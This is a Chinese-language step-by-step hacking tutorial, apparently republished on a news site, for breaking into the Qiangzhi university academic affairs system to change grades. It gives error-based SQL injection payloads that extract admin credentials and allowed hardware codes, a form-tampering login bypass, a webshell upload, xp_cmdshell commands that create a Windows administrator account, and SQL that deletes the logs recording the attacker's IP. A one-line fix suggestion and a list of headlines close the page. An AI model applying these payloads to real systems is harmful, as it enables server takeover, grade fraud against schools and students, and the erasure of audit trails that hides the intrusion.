黑客入侵强智教务系统修改成绩
下面说说系统的漏洞,在公告通知部分就有明显的注入漏洞,我在拿下权限后看了看他们的敏感字符过滤函数,实在是不敢恭维,完全起不到任何过滤效果= =~~~~
一般打开教务系统主页都会看到通知,随便点进去一个页面就可以了。有的学校的系统首页不显示通知,需要学生登录才能查看,如果登不进去,可以构造如下的地址:
http://目标网站/Jiaowu/Public/ShowGGTZ.asp?GGTZID=117
注:上面红字的jiaowu有的学校没有这个虚拟目录,你去掉就可以了,后面的ID可以随便写个数字,显示找不到也没有关系。
下面开始注入攻击,在上面的ID号后面加如下语句:
and (select top 1 Account from Usertable where UserMemo='administrator')>0
上面的SQL语句学过数据库系统的人应该都懂,意思是说从Usertable这个表中选取administrator用户,并返回第一条记录的Account字段,这个字段就是管理员的用户名。如果管理员的用户名包含字符的话,这条查询语句的结果和数字0比较就会产生错误,因为字符串类型和数值类型是无法比较的,提交上面的网址,浏览器会返回如下的出错信息:
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'xxxxx' 转换为数据类型为 int 的列时发生语法错误。
/jiaowu/Public/ShowGGTZ.asp,行 44
上面的出错信息中,单引号里面的红字就是管理员的用户名,如果运气不好= =~管理员用的是纯数字的用户名,那就要麻烦了,因为不会出现上面的错误信息,需要用SQL语句判断用户名每一位的ASCII码,然后猜出来,具体的方法,可以网上搜搜,这里就不说了……
接下来是猜管理员的密码,把上面的SQL语句换成下面的:
and (select top 1 Password from Usertable where Account ='xxxxxx')>0
红x添入刚刚猜到的用户名,然后提交网址,如果管理员用的不是纯数字的密码,会返回上述同样的出错信息,得到的nvchar值就是密码。如果管理员用的是纯数字的密码,那就再次不走运了……继续用麻烦的方法。。。。
得到了管理员的用户名和密码,我们还不能登录系统后台,因为强智这套系统做了限制,系统会限制只能在特定的计算机上登录到系统后台进行管理,它通过强智的一个小软件,计算出计算机的硬件码,然后登录时判断你机子的硬件码是否允许登录,但是这个硬件码是存在系统的数据库中的,所以完全可以用SQL注入的方法得到这些机器码,然后登录时伪造成符合标准的机器就行了。把上面的SQL语句换成下面的:
and (select top 1 s_AdminDNs from sys_config)>0
提交了上面的语句,会返回下面的出错信息:
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]将 varchar 值'MRG215K2K7PKNJ 6PS2M5QF CLP429F4J9XBYA ' 转换为数据类型为 int 的列时发生语法错误。
/Public/ShowGGTZ.asp,行 44
上面红字的就是被允许的机器的硬件码,可以看出有三台机子,把他们保存起来。
得到了管理员的用户名、密码还有机器码,我们就可以登录了,这里需要一个小软件来提交得到的机器码。软件的名字是 TamperIE(下载地址)这个软件可以修改我们提交表单时的数据。
打开IE,在IE的工具栏有个狐狸的图标,点击打开,把第一个选项打上勾,如下图:
接下来打开教务系统的主页,输入刚才得到用户名和密码,用户选择系统管理员,然后点击登陆,这时候这个软件会自动弹出对话框,里面显示的是刚刚提交的表单数据。如下图:
下面的部分就是刚刚提交的表单数据,可以看到有这句话DiskNumber=error,说明我们现在的机器无法登陆,现在可以把error改成刚刚得到的机器码中的一个,然后点击第一个按钮提交。这样就能成功进入系统后台了。如图
现在已经成功的拿下了后台了。^_^
接下来是上传webshell,我在后台浏览了一番,发现这个系统的功能还是很强大的,教务管理的功能非常全面,但就是安全性是个败笔。在教务信息维护看到可以发布通知公告,还可以上传附件,随便传了一个竟然发现不限制文件的扩展名,做系统的人竟然疏忽了这么关键的一点。这安全性也真够差的了= =~~~~~~
找好ASP木马或者ASPX木马,上传上去,就可以拿到WebShell了。^_^
最后是要拿到管理员权限,用WebShell浏览网页目录,在网站根目录下找到connstring.asp这个文件,如图:
编辑打开,这个文件前半段是数据库的连接字符串,后半段就是那个完全没用的敏感字符过滤语句= =~
数据库连接字符串如下:
view source print?
1 |
<span><span>connstring= "driver={sql server};server=" & Sname & ";database=" & DBName & ";uid=sa;pwd=xxxxxxxx" '数据库连接语句 ^w@o2O-pl&38=5%8/ </span></span> |
字符串中管理员竟然用的是sa用户= =~~~sa用户差不多就等于拿到了系统的最高权限,看来管理员的安全意识还有待提高。。。。
在webshell中用得到sa用户和密码建立数据库连接,连接字符串如下:
Driver={Sql Server};Server=127.0.0.1,1433;Database=maste;Uid=sa;Pwd=*******
建立好连接之后,用下面的SQL命令创建用户账号,并提升为系统管理员。
Exec master.dbo.xp_cmdshell 'net user admin 12345 /add' //创建用户admin密码12345
Exec master.dbo.xp_cmdshell 'net localgroup administrators admin /add' //提升admin为管理员
现在就已经拥有管理员的权限了。打开3389远程桌面就可以远程登录服务器了,此次入侵检测结束。
再次警告,请不要破坏修改服务器中的数据!做出自己无法控制的事!
下面是整个入侵检测中可能会遇到的问题:
1、在connstring.asp文件中,网站管理员没有用sa用户去连接数据库,我们可以改用别的方法,例如上传一个cmd.exe盒Churrasco.exe,然后用webshell加载这个cmd,然后用Churrasco去执行命令,这个命令是具有系统权限的,具体做法请网上搜索。= =
2、在用sa用户执行Exec master.dbo.xp_cmdshell的时候提示没有这个存储过程,这时可以用下面的命令恢复存储过程,然后再去执行上面的命令。如果恢复失败,可以在网上找找其他的可以利用的存储过程。
Use master dbcc addextendedproc('xp_cmdshell','xplog70.dll')
3、在进入系统后台后,系统会自动记录系统日志,记录登入者的IP地址,可以在后台的数据管理中执行下面的SQL命令清除系统日志。
Delete/**/From Sys_OperRz where IP=‘xx.xx.xx.xx'
Delete/**/From Sys_ActionLog where IP=‘xx.xx.xx.xx'
4、如果对整个网站的源码感兴趣的可以在站内留言联系我。
最后说下漏洞的修补:
1、公告通知的SQL注入漏洞,修改网站根目录的connstring.asp文件,把下半部分的敏感字符过滤语句换成枫叶版的ASP防注入,原版的敏感字符过滤语句还会导致有时候session变量失效,造成脚本错误,这也是百度上有人提到的为什么会出现脚本错误的原因所在。
更多信息来自东方联盟网:http://www.vm888.com
- 08-05强智科技教务管理系统注入漏洞可改成绩
- 08-05关于“入侵强智教务管理系统漏洞及利用”的说明及防范
- 08-05广东白云学院强智教务系统建设推进会圆满召开
- 11-01高校教务系统多数漏洞都可以被黑客修改成绩?
- 09-06强智教务管理系统改成绩
- 09-06最新强智教务管理系统漏洞入侵
- 09-06强智科技教务系统漏洞的利用
- 09-06黑客入侵强智教务系统修改成绩
- 01-11全球最受赞誉公司揭晓:苹果连续九年第一
- 12-09罗伯特·莫里斯:让黑客真正变黑
- 12-09谁闯入了中国网络?揭秘美国绝密黑客小组TA
- 12-09警示:iOS6 惊现“闪退”BUG
- 12-05亚马逊推出新一代基础模型 任意模态生成大模
- 12-05OpenAI拓展欧洲业务 将在苏黎世设立办公室
- 12-05微软质疑美国联邦贸易委员会泄露信息 督促其
- 12-05联交所取消宝宝树上市地位 宝宝树:不会对公
- 12-04企业微信致歉:文档打开异常已完成修复